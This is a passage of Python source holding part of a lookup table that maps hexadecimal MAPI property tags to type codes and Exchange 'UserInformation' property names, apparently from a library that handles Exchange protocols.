(0x101f, None, None, 4, None, None, \"UserInformationNotManagedEmailAddresses\"),\n        0x30c4: (0x0003, None, None, 4, None, None, \"UserInformationLatitude\"),\n        0x30c5: (0x101f, None, None, 4, None, None, \"UserInformationConnectedAccounts\"),\n        0x30c6: (0x0003, None, None, 4, None, None, \"UserInformationAccountTrustLevel\"),\n        0x30c7: (0x001f, None, None, 4, None, None, \"UserInformationBlockReason\"),\n        0x30c8: (0x000b, None, None, 4, None, None, \"UserInformationHijackDetection\"),\n        0x30c9: (0x000b, None, None, 4, None, None, \"UserInformationHipChallengeApplicable\"),\n        0x30ca: (0x000b, None, None, 4, None, None, \"UserInformationIsBlocked\"),\n        0x30cb: (0x000b, None, None, 4, None, None, \"UserInformationIsSwitchUser\"),\n        0x30cc: (0x000b, None, None, 4, None, None, \"UserInformationIsToolsAccount\"),\n        0x30cd: (0x0040, None, None, 4, None, None, \"UserInformationLastBlockTime\"),\n        0x30ce: (0x0003, None, None, 4, None, None, \"UserInformationMaxDailyMessages\"),\n        0x30cf: (0x000b, None, None, 4, None, None, \"UserInformationReportToExternalSender\"),\n        0x30d0: (0x0040, None, None, 4, None, None, \"UserInformationWhenOlcMailboxCreated\"),\n        0x30d1: (0x001f, None, None, 4, None, None, \"UserInformationMailboxProvisioningConstraint\"),\n        0x30d2: (0x101f, None, None, 4, None, None, \"UserInformationMailboxProvisioningPreferences\"),\n        0x30d3: (0x0014, None, None, 4, None, None, \"UserInformationCID\"),\n        0x30d4: (0x101f, None, None, 4, None, None, \"UserInformationSharingAnonymousIdentities\"),\n        0x30d5: (0x0102, None, None, 4, None, None, \"UserInformationExchangeSecurityDescriptor\"),\n        0x30d6: (0x000b, None, None, 4, None, None, \"UserInformationMapiHttpEnabled\"),\n        0x30d7: (0x000b, None, None, 4, None, None, \"UserInformationMAPIBlockOutlookExternalConnectivity\"),\n        0x30d8: (0x000b, None, None, 4, None, None, \"UserInformationUniversalOutlookEnabled\"),\n        0x30d9: (0x000b, None, None, 4, None, None, \"UserInformationPopMessageDeleteEnabled\"),\n        0x30da: (0x0003, None, None, 4, None, None, \"UserInformationPrimaryMailboxSource\"),\n        0x30db: (0x0002, None, None, 4, None, None, \"UserInformationLocatorCacheHint\"),\n        0x30dc: (0x0014, None, None, 4, None, None, \"UserInformationNetID\"),\n        0x30dd: (0x000b, None, None, 4, None, None, \"UserInformationIsProsumerConsumerMailbox\"),\n        0x30de: (0x101f, None, None, 4, None, None, \"UserInformationProsumerEmailAddresses\"),\n        0x30df: (0x101f, None, None, 4, None, None, \"UserInformationProsumerMSAVerifiedEmailAddresses\"),\n        0x30e0: (0x0048, None, None, 4, None, None, \"UserInformationShardOwnerExchangeObjectId\"),\n        0x30e1: (0x0102, None, None, 4, None, None, \"UserInformationShardOwnerTenantPartitionHint\"),\n        0x30e2: (0x001f, None, None, 4, None, None, \"UserInformationShardProvisionedByProtocolType\"),\n        0x30e3: (0x000b, None, None, 4, None, None, \"UserInformationIsShadowMailboxProvisioningComplete\"),\n        0x30e4: (0x001f, None, None, 4, None, None, \"UserInformationShadowRemoteEmailAddress\"),\n        0x30e5: (0x0003, None, None, 4, None, None, \"UserInformationShadowScope\"),\n        0x30e6: (0x001f, None, None, 4, None, None, \"UserInformationShadowUserName\"),\n        0x30e7: (0x0003, None, None, 4, None, None, \"UserInformationShadowProvider\"),\n        0x30e8: (0x000b, None, None, 4, None, None, \"UserInformationIsShadowMailbox\"),\n        0x30e9: (0x0003, None, None, 4, None, None, \"UserInformationPersistedMservNameVersion\"),\n        0x30ea: (0x0040, None, None, 4, None, None, \"UserInformationLastPersistedMservNameVersionUpdateTime\"),\n        0x30eb: (0x0014, None, None, 4, None, None, \"UserInformationPremiumAccountOffers\"),\n        0x30ec: (0x101f, None, None, 4, None, None, \"UserInformationLegacyCustomDomainAddresses\"),\n        0x30ed: (0x000b, None, None, 4, None, None, \"UserInformationActiveSyncSuppressReadReceipt\"),\n        0x30ee: (0x101f, None, None, 4, None, None, \"UserInformationAcceptMessagesOnlyFrom\"),\n        0x30ef: (0x101f, None, None, 4, None, None, \"UserInformationAcceptMessagesOnlyFromBL\"),\n        0x30f0: (0x101f, None, None, 4, None, None, \"UserInformationAcceptMessagesOnlyFromDLMembers\"),\n        0x30f1: (0x101f, None, None, 4, None, None, \"UserInformationAcceptMessagesOnlyFromDLMembersBL\"),\n        0x30f2: (0x001f, None, None, 4, None, None, \"UserInformationActiveSyncMailboxPolicy\"),\n        0x30f3: (0x000b, None, None, 4, None, None, \"UserInformationActiveSyncMailboxPolicyIsDefaulted\"),\n        0x30f4: (0x0003, None, None, 4, None, None, \"UserInformationAddressBookFlags\"),\n        0x30f5: (0x001f, None, None, 4, None, None, \"UserInformationAddressBookPolicy\"),\n        0x30f6: (0x101f, None, None, 4, None, None, \"UserInformationAddressListMembership\"),\n        0x30f7: (0x101f, None, None, 4, None, None, \"UserInformationAdministrativeUnits\"),\n        0x30f8: (0x101f, None, None, 4, None, None, \"UserInformationAggregatedMailboxGuidsRaw\"),\n        0x30f9: (0x001f, None, None, 4, None, None, \"UserInformationAlias\"),\n        0x30fa: (0x000b, None, None, 4, None, None, \"UserInformationAllowAddGuests\"),\n        0x30fb: (0x101f, None, None, 4, None, None, \"UserInformationAllowedAttributesEffective\"),\n        0x30fc: (0x0003, None, None, 4, None, None, \"UserInformationAllowUMCallsFromNonUsers\"),\n        0x30fd: (0x101f, None, None, 4, None, None, \"UserInformationAltSecurityIdentities\"),\n        0x30fe: (0x101f, None, None, 4, None, None, \"UserInformationApprovalApplications\"),\n        0x30ff: (0x001f, None, None, 4, None, None, \"UserInformationArbitrationMailbox\"),\n        0x3100: (0x001f, None, None, 4, None, None, \"UserInformationArchiveDatabaseRaw\"),\n        0x3101: (0x1102, None, None, 4, None, None, \"UserInformationAttributeMetadata\"),\n        0x3102: (0x0003, None, None, 4, None, None, \"UserInformationAuditAdminFlags\"),\n        0x3103: (0x000b, None, None, 4, None, None, \"UserInformationAuditBypassEnabled\"),\n        0x3104: (0x0003, None, None, 4, None, None, \"UserInformationAuditDelegateAdminFlags\"),\n        0x3105: (0x0003, None, None, 4, None, None, \"UserInformationAuditDelegateFlags\"),\n        0x3106: (0x000b, None, None, 4, None, None, \"UserInformationAuditEnabled\"),\n        0x3107: (0x0040, None, None, 4, None, None, \"UserInformationAuditLastAdminAccess\"),\n        0x3108: (0x0040, None, None, 4, None, None, \"UserInformationAuditLastDelegateAccess\"),\n        0x3109: (0x0040, None, None, 4, None, None, \"UserInformationAuditLastExternalAccess\"),\n        0x310a: (0x0014, None, None, 4, None, None, \"UserInformationAuditLogAgeLimit\"),\n        0x310b: (0x0003, None, None, 4, None, None, \"UserInformationAuditOwnerFlags\"),\n        0x310c: (0x0003, None, None, 4, None, None, \"UserInformationAuditStorageState\"),\n        0x310d: (0x001f, None, None, 4, None, None, \"UserInformationAuxMailboxParentObjectId\"),\n        0x310e: (0x001f, None, None, 4, None, None, \"UserInformationAuxMailboxParentObjectIdBL\"),\n        0x310f: (0x001f, None, None, 4, None, None, \"UserInformationAuthenticationPolicy\"),\n        0x3110: (0x0102, None, None, 4, None, None, \"UserInformationBlockedSendersHash\"),\n        0x3111: (0x101f, None, None, 4, None, None, \"UserInformationBypassModerationFrom\"),\n        0x3112: (0x101f, None, None, 4, None, None, \"UserInformationBypassModerationFromBL\"),\n        0x3113: (0x101f, None, None, 4, None, None, \"UserInformationBypassModerationFromDLMembers\"),\n        0x3114: (0x101f, None, None, 4, None, None, \"UserInformationBypassModerationFromDLMembersBL\"),\n        0x3115: (0x0003, None, None, 4, None, None, \"UserInformationCallAnsweringAudioCodecLegacy\"),\n        0x3116: (0x0003, None, None, 4, None, None, \"UserInformationCallAnsweringAudioCodec2\"),\n        0x3117: (0x101f, None, None, 4, None, None, \"UserInformationCatchAllRecipientBL\"),\n        0x3118: (0x1102, None, None, 4, None, None, \"UserInformationCertificate\"),\n        0x3119: (0x001f, None, None, 4, None, None, \"UserInformationClassification\"),\n        0x311a: (0x001f, None, None, 4, None, None, \"UserInformationCo\"),\n        0x311b: (0x101f, None, None, 4, None, None, \"UserInformationCoManagedBy\"),\n        0x311c: (0x101f, None, None, 4, None, None, \"UserInformationCoManagedObjectsBL\"),\n        0x311d: (0x001f, None, None, 4, None, None, \"UserInformationCompany\"),\n        0x311e: (0x001f, None, None, 4, None, None, \"UserInformationConfigurationUnit\"),\n        0x311f: (0x001f, None, None, 4, None, None, \"UserInformationConfigurationXMLRaw\"),\n        0x3120: (0x0048, None, None, 4, None, None, \"UserInformationCorrelationIdRaw\"),\n        0x3121: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute1\"),\n        0x3122: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute10\"),\n        0x3123: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute11\"),\n        0x3124: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute12\"),\n        0x3125: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute13\"),\n        0x3126: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute14\"),\n        0x3127: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute15\"),\n        0x3128: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute2\"),\n        0x3129: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute3\"),\n        0x312a: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute4\"),\n        0x312b: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute5\"),\n        0x312c: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute6\"),\n        0x312d: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute7\"),\n        0x312e: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute8\"),\n        0x312f: (0x001f, None, None, 4, None, None, \"UserInformationCustomAttribute9\"),\n        0x3130: (0x001f, None, None, 4, None, None, \"UserInformationDatabase\"),\n        0x3131: (0x001f, None, None, 4, None, None, \"UserInformationDataEncryptionPolicy\"),\n        0x3132: (0x001f, None, None, 4, None, None, \"UserInformationDefaultPublicFolderMailbox\"),\n        0x3133: (0x001f, None, None, 4, None, None, \"UserInformationDefaultPublicFolderMailboxSmtpAddress\"),\n        0x3134: (0x101f, None, None, 4, None, None, \"UserInformationDelegateListBL\"),\n        0x3135: (0x101f, None, None, 4, None, None, \"UserInformationDelegateListLink\"),\n        0x3136: (0x0003, None, None, 4, None, None, \"UserInformationDeletedItemFlags\"),\n        0x3137: (0x0003, None, None, 4, None, None, \"UserInformationDeliveryMechanism\"),\n        0x3138: (0x001f, None, None, 4, None, None, \"UserInformationDepartment\"),\n        0x3139: (0x101f, None, None, 4, None, None, \"UserInformationDirectReports\"),\n        0x313a: (0x101f, None, None, 4, None, None, \"UserInformationDirSyncAuthorityMetadata\"),\n        0x313b: (0x001f, None, None, 4, None, None, \"UserInformationDirSyncId\"),\n        0x313c: (0x001f, None, None, 4, None, None, \"UserInformationDisabledArchiveDatabase\"),\n        0x313d: (0x1102, None, None, 4, None, None, \"UserInformationDLSupervisionList\"),\n        0x313e: (0x0040, None, None, 4, None, None, \"UserInformationElcExpirationSuspensionEndDate\"),\n        0x313f: (0x0040, None, None, 4, None, None, \"UserInformationElcExpirationSuspensionStartDate\"),\n        0x3140: (0x0003, None, None, 4, None, None, \"UserInformationElcMailboxFlags\"),\n        0x3141: (0x001f, None, None, 4, None, None, \"UserInformationElcPolicyTemplate\"),\n        0x3142: (0x001f, None, None, 4, None, None, \"UserInformationEntryId\"),\n        0x3143: (0x0048, None, None, 4, None, None, \"UserInformationExchangeObjectIdRaw\"),\n        0x3144: (0x0102, None, None, 4, None, None, \"UserInformationExchangeSecurityDescriptorRaw\"),\n        0x3145: (0x001f, None, None, 4, None, None, \"UserInformationExchangeVersion\"),\n        0x3146: (0x0003, None, None, 4, None, None, \"UserInformationExchangeUserAccountControl\"),\n        0x3147: (0x001f, None, None, 4, None, None, \"UserInformationExpansionServer\"),\n        0x3148: (0x101f, None, None, 4, None, None, \"UserInformationExtensionCustomAttribute1\"),\n        0x3149: (0x101f, None, None, 4, None, None, \"UserInformationExtensionCustomAttribute2\"),\n        0x314a: (0x101f, None, None, 4, None, None, \"UserInformationExtensionCustomAttribute3\"),\n        0x314b: (0x101f, None, None, 4, None, None, \"UserInformationExtensionCustomAttribute4\"),\n        0x314c: (0x101f, None, None, 4, None, None, \"UserInformationExtensionCustomAttribute5\"),\n        0x314d: (0x001f, None, None, 4, None, None, \"UserInformationExternalDirectoryObjectId\"),\n        0x314e: (0x0102, None, None, 4, None, None, \"UserInformationExternalSyncState\"),\n        0x314f: (0x001f, None, None, 4, None, None, \"UserInformationFax\"),\n        0x3150: (0x000b, None, None, 4, None, None, \"UserInformationFblEnabled\"),\n        0x3151: (0x001f, None, None, 4, None, None, \"UserInformationForwardingAddress\"),\n        0x3152: (0x101f, None, None, 4, None, None, \"UserInformationForwardingAddressBL\"),\n        0x3153: (0x001f, None, None, 4, None, None, \"UserInformationForeignGroupSid\"),\n        0x3154: (0x101f, None, None, 4, None, None, \"UserInformationGeneratedOfflineAddressBooks\"),\n        0x3155: (0x001f, None, None, 4, None, None, \"UserInformationGroupPersonification\"),\n        0x3156: (0x101f, None, None, 4, None, None, \"UserInformationGrantSendOnBehalfTo\"),\n        0x3157: (0x101f, None, None, 4, None, None, \"UserInformationGrantSendOnBehalfToBL\"),\n        0x3158: (0x001f, None, None, 4, None, None, \"UserInformationGroupSubtypeName\"),\n        0x3159: (0x0003, None, None, 4, None, None, \"UserInformationGroupType\"),\n        0x315a: (0x0003, None, None, 4, None, None, \"UserInformationGroupExternalMemberCount\"),\n        0x315b: (0x0003, None, None, 4, None, None, \"UserInformationGroupMemberCount\"),\n        0x315c: (0x001f, None, None, 4, None, None, \"UserInformationGuestHint\"),\n        0x315d: (0x101f, None, None, 4, None, None, \"UserInformationHABShowInDepartments\"),\n        0x315e: (0x0003, None, None, 4, None, None, \"UserInformationHeuristics\"),\n        0x315f: (0x000b, None, None, 4, None, None, \"UserInformationHiddenGroupMembershipEnabled\"),\n        0x3160: (0x001f, None, None, 4, None, None, \"UserInformationHomeMTA\"),\n        0x3161: (0x001f, None, None, 4, None, None, \"UserInformationId\"),\n        0x3162: (0x001f, None, None, 4, None, None, \"UserInformationImmutableId\"),\n        0x3163: (0x101f, None, None, 4, None, None, \"UserInformationInPlaceHoldsRaw\"),\n        0x3164: (0x001f, None, None, 4, None, None, \"UserInformationIntendedMailboxPlan\"),\n        0x3165: (0x1102, None, None, 4, None, None, \"UserInformationInternalRecipientSupervisionList\"),\n        0x3166: (0x000b, None, None, 4, None, None, \"UserInformationIsDirSynced\"),\n        0x3167: (0x000b, None, None, 4, None, None, \"UserInformationIsInactive\"),\n        0x3168: (0x000b, None, None, 4, None, None, \"UserInformationIsOrganizationalGroup\"),\n        0x3169: (0x001f, None, None, 4, None, None, \"UserInformationLdapRecipientFilter\"),\n        0x316a: (0x001f, None, None, 4, None, None, \"UserInformationLanguagesRaw\"),\n        0x316b: (0x001f, None, None, 4, None, None, \"UserInformationLegacyExchangeDN\"),\n        0x316c: (0x001f, None, None, 4, None, None, \"UserInformationLinkedPartnerGroupAndOrganizationId\"),\n        0x316d: (0x1102, None, None, 4, None, None, \"UserInformationLinkMetadata\"),\n        0x316e: (0x0040, None, None, 4, None, None, \"UserInformationLitigationHoldDate\"),\n        0x316f: (0x001f, None, None, 4, None, None, \"UserInformationLitigationHoldOwner\"),\n        0x3170: (0x0003, None, None, 4, None, None, \"UserInformationLocalizationFlags\"),\n        0x3171: (0x1102, None, None, 4, None, None, \"UserInformationMailboxDatabasesRaw\"),\n        0x3172: (0x1048, None, None, 4, None, None, \"UserInformationMailboxGuidsRaw\"),\n        0x3173: (0x1102, None, None, 4, None, None, \"UserInformationMailboxLocationsRaw\"),\n        0x3174: (0x001f, None, None, 4, None, None, \"UserInformationMailboxPlan\"),\n        0x3175: (0x001f, None, None, 4, None, None, \"UserInformationMailboxPlanIndex\"),\n        0x3176: (0x001f, None, None, 4, None, None, \"UserInformationMailboxRegion\"),\n        0x3177: (0x001f, None, None, 4, None, None, \"UserInformationMailboxMoveSourceArchiveMDB\"),\n        0x3178: (0x001f, None, None, 4, None, None, \"UserInformationMailboxMoveTargetArchiveMDB\"),\n        0x3179: (0x000b, None, None, 4, None, None, \"UserInformationMbxGuidEnabled\"),\n        0x317a: (0x001f, None, None, 4, None, None, \"UserInformationManager\"),\n        0x317b: (0x001f, None, None, 4, None, None, \"UserInformationMasterAccountSid\"),\n        0x317c: (0x001f, None, None, 4, None, None, \"UserInformationMasterDirectoryObjectIdRaw\"),\n        0x317d: (0x0003, None, None, 4, None, None, \"UserInformationMemberDepartRestriction\"),\n        0x317e: (0x0003, None, None, 4, None, None, \"UserInformationMemberJoinRestriction\"),\n        0x317f: (0x101f, None, None, 4, None, None, \"UserInformationMemberOfGroup\"),\n        0x3180: (0x101f, None, None, 4, None, None, \"UserInformationMembers\"),\n        0x3181: (0x0003, None, None, 4, None, None, \"UserInformationMessageHygieneFlags\"),\n        0x3182: (0x000b, None, None, 4, None, None, \"UserInformationMigrationToUnifiedGroupInProgress\"),\n        0x3183: (0x101f, None, None, 4, None, None, \"UserInformationMobileAdminExtendedSettings\"),\n        0x3184: (0x0003, None, None, 4, None, None, \"UserInformationMobileMailboxFlags\"),\n        0x3185: (0x101f, None, None, 4, None, None, \"UserInformationModeratedBy\"),\n        0x3186: (0x000b, None, None, 4, None, None, \"UserInformationModerationEnabled\"),\n        0x3187: (0x101f, None, None, 4, None, None, \"UserInformationModeratedObjectsBL\"),\n        0x3188: (0x0003, None, None, 4, None, None, \"UserInformationMservNameVersion\"),\n        0x3189: (0x0014, None, None, 4, None, None, \"UserInformationMservNetID\"),\n        0x318a: (0x0102, None, None, 4, None, None, \"UserInformationNTSecurityDescriptor\"),\n        0x318b: (0x001f, None, None, 4, None, None, \"UserInformationObjectCategory\"),\n        0x318c: (0x101f, None, None, 4, None, None, \"UserInformationObjectClass\"),\n        0x318d: (0x001f, None, None, 4, None, None, \"UserInformationOffice\"),\n        0x318e: (0x001f, None, None, 4, None, None, \"UserInformationOfflineAddressBook\"),\n        0x318f: (0x1102, None, None, 4, None, None, \"UserInformationOneOffSupervisionList\"),\n        0x3190: (0x001f, None, None, 4, None, None, \"UserInformationOrganizationalUnitRoot\"),\n        0x3191: (0x101f, None, None, 4, None, None, \"UserInformationOrgLeaders\"),\n        0x3192: (0x001f, None, None, 4, None, None, \"UserInformationOriginatingServer\"),\n        0x3193: (0x101f, None, None, 4, None, None, \"UserInformationOtherDisplayNames\"),\n        0x3194: (0x101f, None, None, 4, None, None, \"UserInformationOtherFax\"),\n        0x3195: (0x001f, None, None, 4, None, None, \"UserInformationOwaMailboxPolicy\"),\n        0x3196: (0x101f, None, None, 4, None, None, \"UserInformationOwners\"),\n        0x3197: (0x001f, None, None, 4, None, None, \"UserInformationPreviousDatabase\"),\n        0x3198: (0x101f, None, None, 4, None, None, \"UserInformationPublicFolderContacts\"),\n        0x3199: (0x000b, None, None, 4, None, None, \"UserInformationPuidEmailAddressEnabled\"),\n        0x319a: (0x101f, None, None, 4, None, None, \"UserInformationPurportedSearchUI\"),\n        0x319b: (0x0014, None, None, 4, None, None, \"UserInformationPasswordLastSetRaw\"),\n        0x319c: (0x001f, None, None, 4, None, None, \"UserInformationPhoneticCompany\"),\n        0x319d: (0x001f, None, None, 4, None, None, \"UserInformationPhoneticDisplayName\"),\n        0x319e: (0x001f, None, None, 4, None, None, \"UserInformationPhoneticDepartment\"),\n        0x319f: (0x001f, None, None, 4, None, None, \"UserInformationPhoneticFirstName\"),\n        0x31a0: (0x001f, None, None, 4, None, None, \"UserInformationPhoneticLastName\"),\n        0x31a1: (0x101f, None, None, 4, None, None, \"UserInformationPoliciesExcluded\"),\n        0x31a2: (0x101f, None, None, 4, None, None, \"UserInformationPoliciesIncluded\"),\n        0x31a3: (0x0003, None, None, 4, None, None, \"UserInformationPrimaryGroupId\"),\n        0x31a4: (0x101f, None, None, 4, None, None, \"UserInformationProtocolSettings\"),\n        0x31a5: (0x0003, None, None, 4, None, None, \"UserInformationProvisioningFlags\"),\n        0x31a6: (0x001f, None, None, 4, None, None, \"UserInformationQueryBaseDN\"),\n        0x31a7: (0x101f, None, None, 4, None, None, \"UserInformationRawCanonicalName\"),\n        0x31a8: (0x1003, None, None, 4, None, None, \"UserInformationRawCapabilities\"),\n        0x31a9: (0x001f, None, None, 4, None, None, \"UserInformationRawExternalEmailAddress\"),\n        0x31aa: (0x001f, None, None, 4, None, None, \"UserInformationRawManagedBy\"),\n        0x31ab: (0x001f, None, None, 4, None, None, \"UserInformationRawName\"),\n        0x31ac: (0x001f, None, None, 4, None, None, \"UserInformationRawDisplayName\"),\n        0x31ad: (0x0102, None, None, 4, None, None, \"UserInformationRawOnPremisesObjectId\"),\n        0x31ae: (0x001f, None, None, 4, None, None, \"UserInformationRecipientContainer\"),\n        0x31af: (0x001f, None, None, 4, None, None, \"UserInformationRecipientFilter\"),\n        0x31b0: (0x101f, None, None, 4, None, None, \"UserInformationRecipientFilterMetadata\"),\n        0x31b1: (0x0003, None, None, 4, None, None, \"UserInformationRecipientTypeDetailsValue\"),\n        0x31b2: (0x0102, None, None, 4, None, None, \"UserInformationReplicationSignature\"),\n        0x31b3: (0x101f, None, None, 4, None, None, \"UserInformationRejectMessagesFrom\"),\n        0x31b4: (0x101f, None, None, 4, None, None, \"UserInformationRejectMessagesFromBL\"),\n        0x31b5: (0x101f, None, None, 4, None, None, \"UserInformationRejectMessagesFromDLMembers\"),\n        0x31b6: (0x101f, None, None, 4, None, None, \"UserInformationRejectMessagesFromDLMembersBL\"),\n        0x31b7: (0x0003, None, None, 4, None, None, \"UserInformationReleaseTrack\"),\n        0x31b8: (0x001f, None, None, 4, None, None, \"UserInformationRemoteAccountPolicy\"),\n        0x31b9: (0x000b, None, None, 4, None, None, \"UserInformationReportToManagerEnabled\"),\n        0x31ba: (0x000b, None, None, 4, None, None, \"UserInformationReportToOriginatorEnabled\"),\n        0x31bb: (0x0003, None, None, 4, None, None, \"UserInformationResourceCapacity\"),\n        0x31bc: (0x101f, None, None, 4, None, None, \"UserInformationResourceMetaData\"),\n        0x31bd: (0x001f, None, None, 4, None, None, \"UserInformationResourcePropertiesDisplay\"),\n        0x31be: (0x101f, None, None, 4, None, None, \"UserInformationResourceSearchProperties\"),\n        0x31bf: (0x001f, None, None, 4, None, None, \"UserInformationRetentionComment\"),\n        0x31c0: (0x001f, None, None, 4, None, None, \"UserInformationRetentionUrl\"),\n        0x31c1: (0x101f, None, None, 4, None, None, \"UserInformationRMSComputerAccounts\"),\n        0x31c2: (0x001f, None, None, 4, None, None, \"UserInformationRoleAssignmentPolicy\"),\n        0x31c3: (0x0003, None, None, 4, None, None, \"UserInformationRoleGroupTypeId\"),\n        0x31c4: (0x001f, None, None, 4, None, None, \"UserInformationRTCSIPPrimaryUserAddress\"),\n        0x31c5: (0x001f, None, None, 4, None, None, \"UserInformationRtcSipLine\"),\n        0x31c6: (0x0102, None, None, 4, None, None, \"UserInformationSafeRecipientsHash\"),\n        0x31c7: (0x0102, None, None, 4, None, None, \"UserInformationSafeSendersHash\"),\n        0x31c8: (0x001f, None, None, 4, None, None, \"UserInformationSamAccountName\"),\n        0x31c9: (0x001f, None, None, 4, None, None, \"UserInformationSatchmoClusterIp\"),\n        0x31ca: (0x0003, None, None, 4, None, None, \"UserInformationSatchmoDGroup\"),\n        0x31cb: (0x0003, None, None, 4, None, None, \"UserInformationSCLDeleteThresholdInt\"),\n        0x31cc: (0x0003, None, None, 4, None, None, \"UserInformationSCLJunkThresholdInt\"),\n        0x31cd: (0x0003, None, None, 4, None, None, \"UserInformationSCLQuarantineThresholdInt\"),\n        0x31ce: (0x0003, None, None, 4, None, None, \"UserInformationSCLRejectThresholdInt\"),\n        0x31cf: (0x1102, None, None, 4, None, None, \"UserInformationSecurityProtocol\"),\n        0x31d0: (0x000b, None, None, 4, None, None, \"UserInformationSendOofMessageToOriginatorEnabled\"),\n        0x31d1: (0x001f, None, None, 4, None, None, \"UserInformationServerLegacyDN\"),\n        0x31d2: (0x001f, None, None, 4, None, None, \"UserInformationSharePointLinkedBy\"),\n        0x31d3: (0x101f, None, None, 4, None, None, \"UserInformationSharePointResources\"),\n        0x31d4: (0x001f, None, None, 4, None, None, \"UserInformationSharePointSiteInfo\"),\n        0x31d5: (0x001f, None, None, 4, None, None, \"UserInformationSharePointUrl\"),\n        0x31d6: (0x101f, None, None, 4, None, None, \"UserInformationSharingPartnerIdentitiesRaw\"),\n        0x31d7: (0x001f, None, None, 4, None, None, \"UserInformationSharingPolicy\"),\n        0x31d8: (0x001f, None, None, 4, None, None, \"UserInformationSid\"),\n        0x31d9: (0x101f, None, None, 4, None, None, \"UserInformationSidHistory\"),\n        0x31da: (0x001f, None, None, 4, None, None, \"UserInformationSiloName\"),\n        0x31db: (0x001f, None, None, 4, None, None, \"UserInformationSkypeId\"),\n        0x31dc: (0x1102, None, None, 4, None, None, \"UserInformationSMimeCertificate\"),\n        0x31dd: (0x001f, None, None, 4, None, None, \"UserInformationSourceAnchor\"),\n        0x31de: (0x0040, None, None, 4, None, None, \"UserInformationStsRefreshTokensValidFrom\"),\n        0x31df: (0x0014, None, None, 4, None, None, \"UserInformationSystemMailboxRetainDeletedItemsFor\"),\n        0x31e0: (0x001f, None, None, 4, None, None, \"UserInformationSystemMailboxRulesQuota\"),\n        0x31e1: (0x0040, None, None, 4, None, None, \"UserInformationTeamMailboxExpiration\"),\n        0x31e2: (0x101f, None, None, 4, None, None, \"UserInformationTeamMailboxShowInClientList\"),\n        0x31e3: (0x001f, None, None, 4, None, None, \"UserInformationTelephoneAssistant\"),\n        0x31e4: (0x001f, None, None, 4, None, None, \"UserInformationThrottlingPolicy\"),\n        0x31e5: (0x0102, None, None, 4, None, None, \"UserInformationThumbnailPhoto\"),\n        0x31e6: (0x001f, None, None, 4, None, None, \"UserInformationTitle\"),\n        0x31e7: (0x101f, None, None, 4, None, None, \"UserInformationTokenGroupsGlobalAndUniversal\"),\n        0x31e8: (0x0003, None, None, 4, None, None, \"UserInformationTransportSettingFlags\"),\n        0x31e9: (0x101f, None, None, 4, None, None, \"UserInformationUMAddresses\"),\n        0x31ea: (0x101f, None, None, 4, None, None, \"UserInformationUMCallingLineIds\"),\n        0x31eb: (0x101f, None, None, 4, None, None, \"UserInformationUMDtmfMap\"),\n        0x31ec: (0x0003, None, None, 4, None, None, \"UserInformationUMEnabledFlags\"),\n        0x31ed: (0x0003, None, None, 4, None, None, \"UserInformationUMEnabledFlags2\"),\n        0x31ee: (0x001f, None, None, 4, None, None, \"UserInformationUMMailboxPolicy\"),\n        0x31ef: (0x0102, None, None, 4, None, None, \"UserInformationUMPinChecksum\"),\n        0x31f0: (0x001f, None, None, 4, None, None, \"UserInformationUMRecipientDialPlanId\"),\n        0x31f1: (0x0003, None, None, 4, None, None, \"UserInformationUMServerWritableFlags\"),\n        0x31f2: (0x0102, None, None, 4, None, None, \"UserInformationUMSpokenName\"),\n        0x31f3: (0x101f, None, None, 4, None, None, \"UserInformationUnifiedGroupEventSubscriptionBL\"),\n        0x31f4: (0x101f, None, None, 4, None, None, \"UserInformationUnifiedGroupEventSubscriptionLink\"),\n        0x31f5: (0x001f, None, None, 4, None, None, \"UserInformationUnifiedGroupFileNotificationsSettings\"),\n        0x31f6: (0x101f, None, None, 4, None, None, \"UserInformationUnifiedGroupMembersBL\"),\n        0x31f7: (0x101f, None, None, 4, None, None, \"UserInformationUnifiedGroupMembersLink\"),\n        0x31f8: (0x001f, None, None, 4, None, None, \"UserInformationUnifiedGroupProvisioningOption\"),\n        0x31f9: (0x0003, None, None, 4, None, None, \"UserInformationUnifiedGroupSecurityFlags\"),\n        0x31fa: (0x0003, None, None, 4, None, None, \"UserInformationUnifiedGroupSKU\"),\n        0x31fb: (0x0102, None, None, 4, None, None, \"UserInformationUnifiedMailboxAccount\"),\n        0x31fc: (0x0003, None, None, 4, None, None, \"UserInformationUserAccountControl\"),\n        0x31fd: (0x001f, None, None, 4, None, None, \"UserInformationUserPrincipalNameRaw\"),\n        0x31fe: (0x000b, None, None, 4, None, None, \"UserInformationUseDatabaseQuotaDefaults\"),\n        0x31ff: (0x0014, None, None, 4, None, None, \"UserInformationUsnChanged\"),\n        0x3200: (0x0014, None, None, 4, None, None, \"UserInformationUsnCreated\"),\n        0x3201: (0x0002, None, None, 4, None, None, \"UserInformationUserState\"),\n        0x3202: (0x101f, None, None, 4, None, None, \"UserInformationVoiceMailSettings\"),\n        0x3203: (0x001f, None, None, 4, None, None, \"UserInformationWhenChangedRaw\"),\n        0x3204: (0x001f, None, None, 4, None, None, \"UserInformationWhenCreatedRaw\"),\n        0x3205: (0x001f, None, None, 4, None, None, \"UserInformationWindowsEmailAddress\"),\n        0x3206: (0x001f, None, None, 4, None, None, \"UserInformationWindowsLiveID\"),\n        0x3207: (0x001f, None, None, 4, None, None, \"UserInformationYammerGroupAddress\"),\n        0x3208: (0x001f, None, None, 4, None, None, \"UserInformationOperatorNumber\"),\n        0x3209: (0x0040, None, None, 4, None, None, \"UserInformationWhenReadUTC\"),\n        0x320a: (0x0003, None, None, 4, None, None, \"UserInformationPreviousRecipientTypeDetailsHigh\"),\n        0x320b: (0x0003, None, None, 4, None, None, \"UserInformationRemoteRecipientTypeHigh\"),\n        0x320c: (0x0003, None, None, 4, None, None, \"UserInformationRecipientTypeDetailsValueHigh\"),\n        0x320d: (0x0040, None, None, 4, None, None, \"UserInformationFamilyMembersUpdateInProgressStartTime\"),\n        0x320e: (0x000b, 